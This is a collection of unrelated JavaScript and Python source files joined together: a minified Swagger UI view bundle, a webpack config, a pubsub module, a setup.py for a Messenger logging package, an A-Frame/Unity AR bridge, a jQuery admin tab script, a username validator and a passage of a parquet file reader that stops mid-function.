p,E,s,B,z,F,A,C,x,w,u,D,r,q,y,v,t;E=true;if(!E){this.model.isReadOnly=true}$(this.el).html(Handlebars.templates.operation(this.model));if(this.model.responseClassSignature&&this.model.responseClassSignature!=="string"){F={sampleJSON:this.model.responseSampleJSON,isParam:false,signature:this.model.responseClassSignature};z=new l({model:F,tagName:"div"});$(".model-signature",$(this.el)).append(z.render().el)}else{$(".model-signature",$(this.el)).html(this.model.type)}p={isParam:false};p.consumes=this.model.consumes;p.produces=this.model.produces;y=this.model.parameters;for(x=0,D=y.length;x<D;x++){s=y[x];C=s.type||s.dataType;if(C.toLowerCase()==="file"){if(!p.consumes){console.log("set content type ");p.consumes="multipart/form-data"}}}B=new a({model:p});$(".response-content-type",$(this.el)).append(B.render().el);v=this.model.parameters;for(w=0,r=v.length;w<r;w++){s=v[w];this.addParameter(s,p.consumes)}t=this.model.responseMessages;for(u=0,q=t.length;u<q;u++){A=t[u];this.addStatusCode(A)}return this};n.prototype.addParameter=function(r,p){var q;r.consumes=p;q=new f({model:r,tagName:"tr",readOnly:this.model.isReadOnly});return $(".operation-params",$(this.el)).append(q.render().el)};n.prototype.addStatusCode=function(q){var p;p=new j({model:q,tagName:"tr"});return $(".operation-status",$(this.el)).append(p.render().el)};n.prototype.submitOperation=function(B){var D,t,r,u,p,z,y,w,C,s,q,A,x,v;if(B!=null){B.preventDefault()}t=$(".sandbox",$(this.el));D=true;t.find("input.required").each(function(){var E=this;$(this).removeClass("error");if(jQuery.trim($(this).val())===""){$(this).addClass("error");$(this).wiggle({callback:function(){return $(E).focus()}});return D=false}});if(D){r={};p={parent:this};A=t.find("input");for(z=0,C=A.length;z<C;z++){u=A[z];if((u.value!=null)&&jQuery.trim(u.value).length>0){r[u.name]=encodeURI(u.value)}}x=t.find("textarea");for(y=0,s=x.length;y<s;y++){u=x[y];if((u.value!=null)&&jQuery.trim(u.value).length>0){r.body=u.value}}v=t.find("select");for(w=0,q=v.length;w<q;w++){u=v[w];if((u.value!=null)&&jQuery.trim(u.value).length>0){r[u.name]=u.value}}p.responseContentType=$("div select[name=responseContentType]",$(this.el)).val();p.requestContentType=$("div select[name=parameterContentType]",$(this.el)).val();return this.model["do"](r,p,this.showCompleteStatus,this.showErrorStatus,this)}};n.prototype.success=function(p,q){return q.showCompleteStatus(p)};n.prototype.hideResponse=function(p){if(p!=null){p.preventDefault()}$(".response",$(this.el)).slideUp();return $(".response_hider",$(this.el)).fadeOut()};n.prototype.showResponse=function(p){var q;q=JSON.stringify(p,null,"\t").replace(/\n/g,"<br>");return $(".response_body",$(this.el)).html(escape(q))};n.prototype.showErrorStatus=function(q,p){return p.showStatus(q)};n.prototype.showCompleteStatus=function(q,p){return p.showStatus(q)};n.prototype.formatXml=function(w){var s,v,q,x,C,y,r,p,A,B,u,t,z;p=/(>)(<)(\/*)/g;B=/[ ]*(.*)[ ]+\n/g;s=/(<.+>)(.+\n)/g;w=w.replace(p,"$1\n$2$3").replace(B,"$1\n").replace(s,"$1\n$2");r=0;v="";C=w.split("\n");q=0;x="other";A={"single->single":0,"single->closing":-1,"single->opening":0,"single->other":0,"closing->single":0,"closing->closing":-1,"closing->opening":0,"closing->other":0,"opening->single":1,"opening->closing":0,"opening->opening":1,"opening->other":1,"other->single":0,"other->closing":-1,"other->opening":0,"other->other":0};u=function(I){var E,D,G,K,H,F,J;F={single:Boolean(I.match(/<.+\/>/)),closing:Boolean(I.match(/<\/.+>/)),opening:Boolean(I.match(/<[^!?].*>/))};H=((function(){var L;L=[];for(G in F){J=F[G];if(J){L.push(G)}}return L})())[0];H=H===void 0?"other":H;E=x+"->"+H;x=H;K="";q+=A[E];K=((function(){var M,N,L;L=[];for(D=M=0,N=q;0<=N?M<N:M>N;D=0<=N?++M:--M){L.push(" ")}return L})()).join("");if(E==="opening->closing"){return v=v.substr(0,v.length-1)+I+"\n"}else{return v+=K+I+"\n"}};for(t=0,z=C.length;t<z;t++){y=C[t];u(y)}return v};n.prototype.showStatus=function(s){var r,q,v,u,t,p;q=s.content.data;u=s.getHeaders();v=u["Content-Type"];if(q===void 0){r=$("<code />").text("no content");t=$('<pre class="json" />').append(r)}else{if(v.indexOf("application/json")===0){r=$("<code />").text(JSON.stringify(JSON.parse(q),null,2));t=$('<pre class="json" />').append(r)}else{if(v.indexOf("application/xml")===0){r=$("<code />").text(this.formatXml(q));t=$('<pre class="xml" />').append(r)}else{if(v.indexOf("text/html")===0){r=$("<code />").html(q);t=$('<pre class="xml" />').append(r)}else{r=$("<code />").text(q);t=$('<pre class="json" />').append(r)}}}}p=t;$(".request_url").html("<pre>"+s.request.url+"</pre>");$(".response_code",$(this.el)).html("<pre>"+s.status+"</pre>");$(".response_body",$(this.el)).html(p);$(".response_headers",$(this.el)).html("<pre>"+JSON.stringify(s.getHeaders())+"</pre>");$(".response",$(this.el)).slideDown();$(".response_hider",$(this.el)).show();$(".response_throbber",$(this.el)).hide();return hljs.highlightBlock($(".response_body",$(this.el))[0])};n.prototype.toggleOperationContent=function(){var p;p=$("#"+Docs.escapeResourceName(this.model.resourceName)+"_"+this.model.nickname+"_"+this.model.method+"_"+this.model.number+"_content");if(p.is(":visible")){return Docs.collapseOperation(p)}else{return Docs.expandOperation(p)}};return n})(Backbone.View);j=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.initialize=function(){};n.prototype.render=function(){var p;p=this.template();$(this.el).html(p(this.model));return this};n.prototype.template=function(){return Handlebars.templates.status_code};return n})(Backbone.View);f=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.initialize=function(){};n.prototype.render=function(){var v,p,r,u,q,w,t,s;s=this.model.type||this.model.dataType;if(this.model.paramType==="body"){this.model.isBody=true}if(s.toLowerCase()==="file"){this.model.isFile=true}t=this.template();$(this.el).html(t(this.model));q={sampleJSON:this.model.sampleJSON,isParam:true,signature:this.model.signature};if(this.model.sampleJSON){w=new l({model:q,tagName:"div"});$(".model-signature",$(this.el)).append(w.render().el)}else{$(".model-signature",$(this.el)).html(this.model.signature)}p=false;if(this.model.isBody){p=true}v={isParam:p};v.consumes=this.model.consumes;if(p){r=new m({model:v});$(".parameter-content-type",$(this.el)).append(r.render().el)}else{u=new a({model:v});$(".response-content-type",$(this.el)).append(u.render().el)}return this};n.prototype.template=function(){if(this.model.isList){return Handlebars.templates.param_list}else{if(this.options.readOnly){if(this.model.required){return Handlebars.templates.param_readonly_required}else{return Handlebars.templates.param_readonly}}else{if(this.model.required){return Handlebars.templates.param_required}else{return Handlebars.templates.param}}}};return n})(Backbone.View);l=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.events={"click a.description-link":"switchToDescription","click a.snippet-link":"switchToSnippet","mousedown .snippet":"snippetToTextArea"};n.prototype.initialize=function(){};n.prototype.render=function(){var p;p=this.template();$(this.el).html(p(this.model));this.switchToDescription();this.isParam=this.model.isParam;if(this.isParam){$(".notice",$(this.el)).text("Click to set as parameter value")}return this};n.prototype.template=function(){return Handlebars.templates.signature};n.prototype.switchToDescription=function(p){if(p!=null){p.preventDefault()}$(".snippet",$(this.el)).hide();$(".description",$(this.el)).show();$(".description-link",$(this.el)).addClass("selected");return $(".snippet-link",$(this.el)).removeClass("selected")};n.prototype.switchToSnippet=function(p){if(p!=null){p.preventDefault()}$(".description",$(this.el)).hide();$(".snippet",$(this.el)).show();$(".snippet-link",$(this.el)).addClass("selected");return $(".description-link",$(this.el)).removeClass("selected")};n.prototype.snippetToTextArea=function(p){var q;if(this.isParam){if(p!=null){p.preventDefault()}q=$("textarea",$(this.el.parentNode.parentNode.parentNode));if($.trim(q.val())===""){return q.val(this.model.sampleJSON)}}};return n})(Backbone.View);g=(function(n){e(o,n);function o(){return o.__super__.constructor.apply(this,arguments)}o.prototype.initialize=function(){};o.prototype.render=function(){var p;p=this.template();$(this.el).html(p(this.model));$("label[for=contentType]",$(this.el)).text("Response Content Type");return this};o.prototype.template=function(){return Handlebars.templates.content_type};return o})(Backbone.View);a=(function(n){e(o,n);function o(){return o.__super__.constructor.apply(this,arguments)}o.prototype.initialize=function(){};o.prototype.render=function(){var p;p=this.template();$(this.el).html(p(this.model));$("label[for=responseContentType]",$(this.el)).text("Response Content Type");return this};o.prototype.template=function(){return Handlebars.templates.response_content_type};return o})(Backbone.View);m=(function(o){e(n,o);function n(){return n.__super__.constructor.apply(this,arguments)}n.prototype.initialize=function(){};n.prototype.render=function(){var p;p=this.template();$(this.el).html(p(this.model));$("label[for=parameterContentType]",$(this.el)).text("Parameter content type:");return this};n.prototype.template=function(){return Handlebars.templates.parameter_content_type};return n})(Backbone.View)}).call(this);
|
const path = require('path');
module.exports = {
mode: 'production',
devtool: 'source-map',
entry: ['@babel/polyfill', './index'],
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js',
publicPath: '/dist/'
},
module: {
rules: [
{
test: /\.(js|jsx)$/,
include: ['index.js', 'src', 'example/assets', 'example/src'].map(
name => path.resolve(__dirname, name)
),
loader: 'babel-loader'
},
{
test: /\.css$/,
loader: 'style-loader!css-loader'
},
{
test: /\.(png|jpg|gif)$/,
loader: 'url-loader?limit=8192'
},
{
test: /\.svg$/,
loader: 'url-loader?limit=10000&mimetype=image/svg+xml'
}
]
}
};
|
const { PubSub } = require('graphql-subscriptions');
const { addApolloLogging } = require('apollo-logger');
const config = require('../config');
// pubsub
const pb = new PubSub();
const pubsub = config.development ? addApolloLogging(pb) : pb;
module.exports = pubsub;
|
import setuptools
import re
with open("README.md", "r") as fh:
long_description = fh.read()
with open("facebooklogger/_version.py", "r") as f:
version_match = re.search(
r'^version \s*=\s*[\'"]([^\'"]*)[\'"]', f.read(), re.MULTILINE
)
if version_match is None:
raise ValueError("Version not found in facebooklogger/_version.py")
version = version_match.group(1)
setuptools.setup(
name="facebooklogger",
version=version,
author="Jack Adamson",
author_email="jack@mrfluffybunny.com",
description="A logging handler that sends you log entries on Facebook Messenger",
install_requires=["pymessenger", "environs", "requests"],
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/jackadamson/facebooklogger",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Topic :: System :: Logging",
"Topic :: System :: Monitoring",
"Intended Audience :: Developers",
"Intended Audience :: System Administrators",
"Development Status :: 4 - Beta",
],
python_requires=">=3.6",
)
|
angular.module('portainer.kubernetes').component('kubernetesResourcePoolsView', {
templateUrl: './resourcePools.html',
controller: 'KubernetesResourcePoolsController',
controllerAs: 'ctrl',
});
|
/**
* Widget content-search main file
*
* See https://github.com/wejs/we-core/blob/master/lib/class/Widget.js for all Widget prototype functions
*/
module.exports = function (projectPath, Widget) {
var widget = new Widget('content-search', __dirname);
// // Override default widget class functions after instance
//
// widget.beforeSave = function widgetBeforeSave(req, res, next) {
// // do something after save this widget in create or edit ...
// return next();
// };
// // form middleware, use for get data for widget form
// widget.formMiddleware = function formMiddleware(req, res, next) {
//
// next();
// }
// // Widget view middleware, use for get data after render the widget html
// widget.viewMiddleware = function viewMiddleware(widget, req, res, next) {
// return next();
// }
return widget;
};
|
const unityInstance = UnityLoader.instantiate("unityContainer", "Build/1224.json");
let isCameraReady = false;
let isDetectionManagerReady = false;
let gl = null;
function cameraReady(){
isCameraReady = true;
gl = unityInstance.Module.ctx;
}
function detectionManagerReady(){
isDetectionManagerReady = true;
}
function createUnityMatrix(el){
const m = el.matrix.clone();
const zFlipped = new THREE.Matrix4().makeScale(1, 1, -1).multiply(m);
const rotated = zFlipped.multiply(new THREE.Matrix4().makeRotationX(-Math.PI/2));
return rotated;
}
AFRAME.registerComponent('markercontroller', {
schema: {
name : {type: 'string'}
},
tock: function(time, timeDelta){
let position = new THREE.Vector3();
let rotation = new THREE.Quaternion();
let scale = new THREE.Vector3();
createUnityMatrix(this.el.object3D).decompose(position, rotation, scale);
const serializedInfos = `${this.data.name},${this.el.object3D.visible},${position.toArray()},${rotation.toArray()},${scale.toArray()}`;
if(isDetectionManagerReady){
unityInstance.SendMessage("DetectionManager", "markerInfos", serializedInfos);
}
}
});
AFRAME.registerComponent('cameratransform', {
tock: function(time, timeDelta){
let camtr = new THREE.Vector3();
let camro = new THREE.Quaternion();
let camsc = new THREE.Vector3();
this.el.object3D.matrix.clone().decompose(camtr, camro, camsc);
const projection = this.el.components.camera.camera.projectionMatrix.clone();
const serializedProj = `${[...projection.elements]}`
const posCam = `${[...camtr.toArray()]}`
const rotCam = `${[...camro.toArray()]}`
if(isCameraReady){
unityInstance.SendMessage("Main Camera", "setProjection", serializedProj);
unityInstance.SendMessage("Main Camera", "setPosition", posCam);
unityInstance.SendMessage("Main Camera", "setRotation", rotCam);
let w = window.innerWidth;
let h = window.innerHeight;
const unityCanvas = document.getElementsByTagName('canvas')[0];
const ratio = unityCanvas.height / h;
w *= ratio
h *= ratio
const size = `${w},${h}`
unityInstance.SendMessage("Canvas", "setSize", size);
}
if(gl != null){
gl.dontClearOnFrameStart = true;
}
}
});
AFRAME.registerComponent('copycanvas', {
tick: function(time, timeDelta){
const unityCanvas = document.getElementsByTagName('canvas')[0];
unityCanvas.width = this.el.canvas.width
unityCanvas.height = this.el.canvas.height
}
});
|
!function($) {
$.fn.Huifold = function(options){
var defaults = {
titCell:'.item .Huifold-header',
mainCell:'.item .Huifold-body',
type:1,//1 只打开一个,可以全部关闭;2 必须有一个打开;3 可打开多个
trigger:'click',
className:"selected",
speed:'first',
}
var options = $.extend(defaults, options);
/*this.each(function(){
var that = $(this);
that.find(options.titCell).on(options.trigger,function(){
if ($(this).next().is(":visible")) {
if (options.type == 2) {
return false;
} else {
$(this).next().slideUp(options.speed).end().removeClass(options.className);
if ($(this).find("b")) {
$(this).find("b").html("+");
}
}
}else {
if (options.type == 3) {
$(this).next().slideDown(options.speed).end().addClass(options.className);
if ($(this).find("b")) {
$(this).find("b").html("-");
}
} else {
that.find(options.mainCell).slideUp(options.speed);
that.find(options.titCell).removeClass(options.className);
if (that.find(options.titCell).find("b")) {
that.find(options.titCell).find("b").html("+");
}
$(this).next().slideDown(options.speed).end().addClass(options.className);
if ($(this).find("b")) {
$(this).find("b").html("-");
}
}
}
});
});*/
}
} (window.jQuery);
var num=0,oUl=$("#min_title_list"),hide_nav=$("#yunrong-tabNav");
/*获取顶部选项卡总长度*/
function tabNavallwidth(){
var taballwidth=0,
$tabNav = hide_nav.find(".acrossTab"),
$tabNavWp = hide_nav.find(".yunrong-tabNav-wp"),
$tabNavitem = hide_nav.find(".acrossTab li"),
$tabNavmore =hide_nav.find(".yunrong-tabNav-more");
if (!$tabNav[0]){return}
$tabNavitem.each(function(index, element) {
taballwidth += Number(parseFloat($(this).width()+60))
});
$tabNav.width(taballwidth+25);
var w = $tabNavWp.width();
if(taballwidth+25>w){
$tabNavmore.show()}
else{
$tabNavmore.hide();
$tabNav.css({left:0});
}
}
/*菜单导航*/
function Hui_admin_tab(obj){
var bStop = false,
bStopIndex = 0,
href = $(obj).attr('data-href'),
title = $(obj).attr("data-title"),
topWindow = $(window.parent.document),
show_navLi = topWindow.find("#min_title_list li"),
iframe_box = topWindow.find("#iframe_box");
//console.log(topWindow);
if(!href||href==""){
alert("data-href不存在,v2.5版本之前用_href属性,升级后请改为data-href属性");
return false;
}if(!title){
alert("v2.5版本之后使用data-title属性");
return false;
}
if(title==""){
alert("data-title属性不能为空");
return false;
}
show_navLi.each(function() {
if($(this).find('span').attr("data-href")==href){
bStop=true;
bStopIndex=show_navLi.index($(this));
return false;
}
});
if(!bStop){
creatIframe(href,title);
min_titleList();
}
else{
show_navLi.removeClass("active").eq(bStopIndex).addClass("active");
iframe_box.find(".show_iframe").hide().eq(bStopIndex).show().find("iframe").attr("src",href);
}
}
/*最新tab标题栏列表*/
function min_titleList(){
var topWindow = $(window.parent.document),
show_nav = topWindow.find("#min_title_list"),
aLi = show_nav.find("li");
}
/*创建iframe*/
function creatIframe(href,titleName){
var topWindow=$(window.parent.document),
show_nav=topWindow.find('#min_title_list'),
iframe_box=topWindow.find('#iframe_box'),
iframeBox=iframe_box.find('.show_iframe'),
$tabNav = topWindow.find(".acrossTab"),
$tabNavWp = topWindow.find(".yunrong-tabNav-wp"),
$tabNavmore =topWindow.find(".yunrong-tabNav-more");
var taballwidth=0;
show_nav.find('li').removeClass("active");
show_nav.append('<li class="active"><span data-href="'+href+'">'+titleName+'</span><i></i><em></em></li>');
var $tabNavitem = topWindow.find(".acrossTab li");
if (!$tabNav[0]){return}
$tabNavitem.each(function(index, element) {
taballwidth+=Number(parseFloat($(this).width()+60))
});
$tabNav.width(taballwidth+25);
var w = $tabNavWp.width();
if(taballwidth+25>w){
$tabNavmore.show()}
else{
$tabNavmore.hide();
$tabNav.css({left:0})
}
iframeBox.hide();
iframe_box.append('<div class="show_iframe"><div class="loading"></div><iframe frameborder="0" src='+href+'></iframe></div>');
var showBox=iframe_box.find('.show_iframe:visible');
showBox.find('iframe').load(function(){
showBox.find('.loading').hide();
});
}
/*关闭iframe*/
function removeIframe(){
var topWindow = $(window.parent.document),
iframe = topWindow.find('#iframe_box .show_iframe'),
tab = topWindow.find(".acrossTab li"),
showTab = topWindow.find(".acrossTab li.active"),
showBox=topWindow.find('.show_iframe:visible'),
i = showTab.index();
tab.eq(i-1).addClass("active");
tab.eq(i).remove();
iframe.eq(i-1).show();
iframe.eq(i).remove();
}
/*关闭所有iframe*/
function removeIframeAll(){
var topWindow = $(window.parent.document),
iframe = topWindow.find('#iframe_box .show_iframe'),
tab = topWindow.find(".acrossTab li");
for(var i=0;i<tab.length;i++){
if(tab.eq(i).find("i").length>0){
tab.eq(i).remove();
iframe.eq(i).remove();
}
}
}
/*关闭弹出框口*/
function layer_close(){
var index = parent.layer.getFrameIndex(window.name);
parent.layer.close(index);
}
$(function(){
/*左侧菜单*/
$(".yunrong-aside").Huifold({
titCell:'.menu_dropdown dl dt',
mainCell:'.menu_dropdown dl dd',
});
/*选项卡导航*/
$(".yunrong-aside").on("click",".menu_dropdown a",function(){
Hui_admin_tab(this);
$(".treeview-menu a").removeClass("cur");
$(this).addClass("cur");
});
$(document).on("click","#min_title_list li",function(){
var bStopIndex=$(this).index();
var iframe_box=$("#iframe_box");
$("#min_title_list li").removeClass("active").eq(bStopIndex).addClass("active");
iframe_box.find(".show_iframe").hide().eq(bStopIndex).show();
});
$(document).on("click","#min_title_list li i",function(){
var aCloseIndex=$(this).parents("li").index();
$(this).parent().remove();
$('#iframe_box').find('.show_iframe').eq(aCloseIndex).remove();
num==0?num=0:num--;
tabNavallwidth();
});
$(document).on("dblclick","#min_title_list li",function(){
var aCloseIndex=$(this).index();
var iframe_box=$("#iframe_box");
if(aCloseIndex>0){
$(this).remove();
$('#iframe_box').find('.show_iframe').eq(aCloseIndex).remove();
num==0?num=0:num--;
$("#min_title_list li").removeClass("active").eq(aCloseIndex-1).addClass("active");
iframe_box.find(".show_iframe").hide().eq(aCloseIndex-1).show();
tabNavallwidth();
}else{
return false;
}
});
tabNavallwidth();
$('#js-tabNav-next').click(function(){
num==oUl.find('li').length-1?num=oUl.find('li').length-1:num++;
toNavPos();
});
$('#js-tabNav-prev').click(function(){
num==0?num=0:num--;
toNavPos();
});
function toNavPos(){
oUl.stop().animate({'left':-num*100},100);
}
});
|
function validate_username() {
var $username_field = $('#id_ocf_login_name'),
$username_feedback = $('#username-feedback');
$.ajax({
type: 'GET',
url: 'validate/',
data: {'username': $username_field.val(),
'real_name': $('#real-name').text()},
success: function(data) {
if(data.is_valid) {
$username_field.parent().removeClass('has-error')
.addClass('has-success');
$username_feedback.removeClass('alert-danger')
.addClass('alert-success');
} else {
$username_field.parent().removeClass('has-success')
.addClass('has-error');
$username_feedback.removeClass('alert-sucess')
.addClass('alert-danger');
}
$username_feedback.show().text(data.msg);
}
});
}
function recommend() {
$.ajax({
type: 'GET',
url: 'recommend',
data: {'real_name': $('#real-name').text()},
success: function(data) {
$('#recommendations').empty();
var recommendations = data['recommendations'];
for (var i in recommendations) {
var recommendation = recommendations[i];
$('#recommendations').append(
// Generate a new element like this to avoid minification
// errors with yui-compressor
$($.parseHTML('<button></button>'))
.text(recommendation)
.attr('type', 'button')
.addClass('list-group-item list-group-item-action list-group-item-success recommendation')
.on('click', function() {
$("#id_ocf_login_name").val($(this).text()).trigger("keyup");
})
);
}
}
});
}
$(document).ready(function() {
// Quick validation of username field
var finTypingCountdown = 250; // 250 milliseconds
var typingTimer;
var $input = $('#id_ocf_login_name');
// On keyup, start countdown
$input.on('keyup', function() {
clearTimeout(typingTimer);
typingTimer = setTimeout(validate_username, finTypingCountdown);
});
// On keydown, clear countdown
$input.on('keydown', function() {
clearTimeout(typingTimer);
});
// Load in recommendations
recommend();
});
// vim: ts=4 sts=4 sw=4
|
'use strict';
const fs = require('fs');
const thrift = require('thrift-patch');
const parquet_thrift = require('../gen-nodejs/parquet_types')
const parquet_shredder = require('./shred')
const parquet_util = require('./util')
const parquet_schema = require('./schema')
const parquet_codec = require('./codec')
const parquet_compression = require('./compression')
/**
* Parquet File Magic String
*/
const PARQUET_MAGIC = 'PAR1';
/**
* Parquet File Format Version
*/
const PARQUET_VERSION = 1;
/**
* Internal type used for repetition/definition levels
*/
const PARQUET_RDLVL_TYPE = 'INT32';
const PARQUET_RDLVL_ENCODING = 'RLE';
/**
* A parquet cursor is used to retrieve rows from a parquet file in order
*/
class ParquetCursor {
/**
* Create a new parquet reader from the file metadata and an envelope reader.
* It is usually not recommended to call this constructor directly except for
* advanced and internal use cases. Consider using getCursor() on the
* ParquetReader instead
*/
constructor(metadata, envelopeReader, schema, columnList) {
this.metadata = metadata;
this.envelopeReader = envelopeReader;
this.schema = schema;
this.columnList = columnList;
this.rowGroup = [];
this.rowGroupIndex = 0;
}
/**
* Retrieve the next row from the cursor. Returns a row or NULL if the end
* of the file was reached
*/
async next() {
if (this.rowGroup.length === 0) {
if (this.rowGroupIndex >= this.metadata.row_groups.length) {
return null;
}
let rowBuffer = await this.envelopeReader.readRowGroup(
this.schema,
this.metadata.row_groups[this.rowGroupIndex],
this.columnList);
this.rowGroup = parquet_shredder.materializeRecords(this.schema, rowBuffer);
this.rowGroupIndex++;
}
return this.rowGroup.shift();
}
/**
* Rewind the cursor the the beginning of the file
*/
rewind() {
this.rowGroup = [];
this.rowGroupIndex = 0;
}
};
/**
* A parquet reader allows retrieving the rows from a parquet file in order.
* The basic usage is to create a reader and then retrieve a cursor/iterator
* which allows you to consume row after row until all rows have been read. It is
* important that you call close() after you are finished reading the file to
* avoid leaking file descriptors.
*/
class ParquetReader {
/**
* Open the parquet file pointed to by the specified path and return a new
* parquet reader
*/
static async openFile(filePath) {
let envelopeReader = await ParquetEnvelopeReader.openFile(filePath);
try {
await envelopeReader.readHeader();
let metadata = await envelopeReader.readFooter();
return new ParquetReader(metadata, envelopeReader);
} catch (err) {
await envelopeReader.close();
throw err;
}
}
/**
* Create a new parquet reader from the file metadata and an envelope reader.
* It is not recommended to call this constructor directly except for advanced
* and internal use cases. Consider using one of the open{File,Buffer} methods
* instead
*/
constructor(metadata, envelopeReader) {
if (metadata.version != PARQUET_VERSION) {
throw 'invalid parquet version';
}
this.metadata = metadata;
this.envelopeReader = envelopeReader;
this.schema = new parquet_schema.ParquetSchema(
decodeSchema(
this.metadata.schema.splice(1)));
}
/**
* Return a cursor to the file. You may open more than one cursor and use
* them concurrently. All cursors become invalid once close() is called on
* the reader object.
*
* The required_columns parameter controls which columns are actually read
* from disk. An empty array or no value implies all columns. A list of column
* names means that only those columns should be loaded from disk.
*/
getCursor(columnList) {
if (!columnList) {
columnList = [];
}
columnList = columnList.map((x) => x.constructor === Array ? x : [x]);
return new ParquetCursor(
this.metadata,
this.envelopeReader,
this.schema,
columnList);
}
/**
* Return the number of rows in this file. Note that the number of rows is
* not neccessarily equal to the number of rows in each column.
*/
getRowCount() {
return this.metadata.num_rows;
}
/**
* Returns the ParquetSchema for this file
*/
getSchema() {
return this.schema;
}
/**
* Returns the user (key/value) metadata for this file
*/
getMetadata() {
let md = {};
for (let kv of this.metadata.key_value_metadata) {
md[kv.key] = kv.value;
}
return md;
}
/**
* Close this parquet reader. You MUST call this method once you're finished
* reading rows
*/
async close() {
await this.envelopeReader.close();
this.envelopeReader = null;
this.metadata = null;
}
}
/**
* The parquet envelope reader allows direct, unbuffered access to the individual
* sections of the parquet file, namely the header, footer and the row groups.
* This class is intended for advanced/internal users; if you just want to retrieve
* rows from a parquet file use the ParquetReader instead
*/
class ParquetEnvelopeReader {
static async openFile(filePath) {
let fileStat = await parquet_util.fstat(filePath);
let fileDescriptor = await parquet_util.fopen(filePath);
let readFn = parquet_util.fread.bind(undefined, fileDescriptor);
let closeFn = parquet_util.fclose.bind(undefined, fileDescriptor);
return new ParquetEnvelopeReader(readFn, closeFn, fileStat.size);
}
constructor(readFn, closeFn, fileSize) {
this.read = readFn;
this.close = closeFn;
this.fileSize = fileSize;
}
async readHeader() {
let buf = await this.read(0, PARQUET_MAGIC.length);
if (buf.toString() != PARQUET_MAGIC) {
throw 'not valid parquet file'
}
}
async readRowGroup(schema, rowGroup, columnList) {
var buffer = {
rowCount: +rowGroup.num_rows,
columnData: {}
};
for (let colChunk of rowGroup.columns) {
const colMetadata = colChunk.meta_data;
const colKey = colMetadata.path_in_schema;
if (columnList.length > 0 && parquet_util.fieldIndexOf(columnList, colKey) < 0) {
continue;
}
buffer.columnData[colKey] = await this.readColumnChunk(schema, colChunk);
}
return buffer;
}
async readColumnChunk(schema, colChunk) {
if (colChunk.file_path !== null) {
throw 'external references are not supported';
}
let field = schema.findField(colChunk.meta_data.path_in_schema);
let type = parquet_util.getThriftEnum(
parquet_thrift.Type,
colChunk.meta_data.type);
let compression = parquet_util.getThriftEnum(
parquet_thrift.CompressionCodec,
colChunk.meta_data.codec);
let pagesOffset = +colChunk.meta_data.data_page_offset;
let pagesSize = +colChunk.meta_data.total_compressed_size;
let pagesBuf = await this.read(pagesOffset, pagesSize);
return decodeDataPages(pagesBuf, {
type: type,
rLevelMax: field.rLevelMax,
dLevelMax: field.dLevelMax,
compression: compression,
column: field
});
}
async readFooter() {
let trailerLen = PARQUET_MAGIC.length + 4;
let trailerBuf = await this.read(this.fileSize - trailerLen, trailerLen);
if (trailerBuf.slice(4).toString() != PARQUET_MAGIC) {
throw 'not a valid parquet file';
}
let metadataSize = trailerBuf.readUInt32LE(0);
let metadataOffset = this.fileSize - metadataSize - trailerLen;
if (metadataOffset < PARQUET_MAGIC.length) {
throw 'invalid metadata size';
}
let metadataBuf = await this.read(metadataOffset, metadataSize);
let metadata = new parquet_thrift.FileMetaData();
parquet_util.decodeThrift(metadata, metadataBuf);
return metadata;
}
}
/**
* Decode a consecutive array of data using one of the parquet encodings
*/
function decodeValues(type, encoding, cursor, count, opts) {
if (!(encoding in parquet_codec)) {
throw 'invalid encoding: ' + encoding;
}
return parquet_codec[encoding].decodeValues(type, cursor, count, opts);
}
function decodeDataPages(buffer, opts) {
let cursor = {
buffer: buffer,
offset: 0,
size: buffer.length
};
let data = {
rlevels: [],
dlevels: [],
values: [],
count: 0
};
while (cursor.offset < cursor.size) {
const pageHeader = new parquet_thrift.PageHeader();
cursor.offset += parquet_util.decodeThrift(pageHeader, cursor.buffer);
const pageType = parquet_util.getThriftEnum(
parquet_thrift.PageType,
pageHeader.type);
let pageData = null;
switch (pageType) {
case 'DATA_PAGE':
pageData = decodeDataPage(cursor, pageHeader, opts);
break;
case 'DATA_PAGE_V2':
pageData = decodeDataPageV2(cursor, pageHeader, opts);
break;
default:
throw "invalid page type: " + pageType;
}
Array.prototype.push.apply(data.rlevels, pageData.rlevels);
Array.prototype.push.apply(data.dlevels, pageData.dlevels);
Array.prototype.push.apply(data.values, pageData.values);
data.count += pageData.count;
}
return data;
}
function decodeDataPage(cursor, header, opts) {
let valueCount = header.data_page_header.num_values;
let valueEncoding = parquet_util.getThriftEnum(
parquet_thrift.Encoding,
header.data_page_header.encoding);
/* read repetition levels */
let rLevelEncoding = parquet_util.getThriftEnum(
parquet_thrift.Encoding,
header.data_page_header.repetition_level_encoding);
let rLevels = new Array(valueCount);
if (opts.rLevelMax > 0) {
rLevels = decodeValues(
PARQUET_RDLVL_TYPE,
rLevelEncoding,
cursor,
valueCount,
{ bitWidth: parquet_util.getBitWidth(opts.rLevelMax) });
} else {
rLevels.fill(0);
}
/* read definition levels */
let dLevelEncoding = parquet_util.getThriftEnum(
parquet_thrift.Encoding,
header.data_page_header.definition_level_encoding);
let dLevels = new Array(valueCount);
if (opts.dLevelMax > 0) {
dLevels = decodeValues(
PARQUET_RDLVL_TYPE,
dLevelEncoding,
cursor,
valueCount,
{ bitWidth: parquet_util.getBitWidth(opts.dLevelMax) });
} else {
dLevels.fill(0);
}
/* read values */
let valueCountNonNull = 0;
for (let dlvl of dLevels) {
if (dlvl === opts.dLevelMax) {
++valueCountNonNull;
}
}
let values = decodeValues(
opts.type,
valueEncoding,
cursor,
valueCountNonNull,
{
typeLength: opts.column.typeLength,
bitWidth: opts.column.typeLength
});
return {
dlevels: dLevels,
rlevels: rLevels,
values: values,
count: valueCount
};
}
function decodeDataPageV2(cursor, header, opts) {
const cursorEnd = cursor.offset + header.compressed_page_size;
const valueCount = header.data_page_header_v2.num_values;
const valueCountNonNull = valueCount - header.data_page_header_v2.num_nulls;
const valueEncoding = parquet_util.getThriftEnum(
parquet_thrift.Encoding,
header.data_page_header_v2.encoding);
/* read repetition levels */
let rLevels = new Array(valueCount);
if (opts.rLevelMax > 0) {
rLevels = decodeValues(
PARQUET_RDLVL_TYPE,
PARQUET_RDLVL_ENCODING,
cursor,
valueCount,
{
bitWidth: parquet_util.getBitWidth(opts.rLevelMax),
